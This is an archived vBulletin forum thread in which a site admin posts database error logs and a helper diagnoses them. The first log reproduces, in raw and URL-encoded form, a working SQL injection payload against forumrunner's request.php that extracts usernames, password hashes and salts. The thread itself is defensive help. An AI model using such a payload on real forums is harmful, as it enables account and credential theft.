vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB4 Programming Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=252)
-   -   Databse Error receive daily (https://vborg.vbsupport.ru/showthread.php?t=325673)

tanzeelniazi 10-13-2017 02:47 PM

Databse Error receive daily
 
Hi all again here
some time i found these data base errors, i think some one trying to hack ?? m right ?
Code:

Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
                        thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
                FROM post AS post
                LEFT JOIN thread AS thread USING (threadid)
                WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (userid > 10000 and userid < 12000) and(0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--);

MySQL Error  : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number  : 1064
Request Date  : Friday, October 13th 2017 @ 09:23:43 AM
Error Date    : Friday, October 13th 2017 @ 09:23:43 AM
Script        : http://www.xxxxxxxxx.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(user)where%20(userid%20%3E%2010000%20and%20userid%20%3C%2012000)%20and(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--
Referrer      :
IP Address    : 1**.1**.2**.**
Username      : Unregistered
Classname    : vB_Database_MySQLi
MySQL Version :

Mostly i receive daily these types of error

Code:

Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT
                        count(*) as maxre
                FROM tagthread
                GROUP BY tagid
                ORDER BY maxre DESC
                LIMIT 0,1;

MySQL Error  : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Friday, October 13th 2017 @ 02:07:45 AM
Error Date    : Friday, October 13th 2017 @ 02:07:46 AM
Script        : http://www.xxxxxxxxxxxxxx.com/cron.php?rand=1507860459
Referrer      : https://www.xxxxxxxxxxxxxx.com/forum.php
IP Address    : 1**.1**.*9.1**
Username      : Unregistered
Classname    : vB_Database_MySQLi
MySQL Version :

--------------- Added [DATE]1507913371[/DATE] at [TIME]1507913371[/TIME] ---------------

Some time these daily receive with new thread id

Code:

Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT
                        count(*) as maxre
                FROM tagthread
                GROUP BY tagid
                ORDER BY maxre DESC
                LIMIT 0,1;

MySQL Error  : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Thursday, October 12th 2017 @ 02:06:31 AM
Error Date    : Thursday, October 12th 2017 @ 02:06:31 AM
Script        : http://www.xxxxxxxxxxx.com/cron.php?rand=1507773989
Referrer      : https://www.xxxxxxxxxxxx.com/showthread.php?64592-*****-x3&p=915921&posted=1
IP Address    : 1**.**8.**.*7
Username      : Unregistered
Classname    : vB_Database_MySQLi
MySQL Version :


Dave 10-13-2017 03:38 PM

First one is SQL injection, delete your forumrunner folder as soon as possible or update it right away to the latest version or your whole server can get compromised (if not already).

As for the tagthread table, I don't think this comes with the vBulletin installation by default so it's probably one of your plugins that's broken.

tanzeelniazi 10-13-2017 04:58 PM

I remove forumrunner folder thanks bro also can you tell me which plugin is broken ?

Dave 10-13-2017 06:34 PM

Hard to tell, go through your plugins that are related to thread tags and disable it.
Alternatively you can go to the scheduled tasks/cronjob page in the AdminCP and disable it.


All times are GMT. The time now is 07:15 PM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.00982 seconds
  • Memory Usage 1,722KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (3)bbcode_code_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (4)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete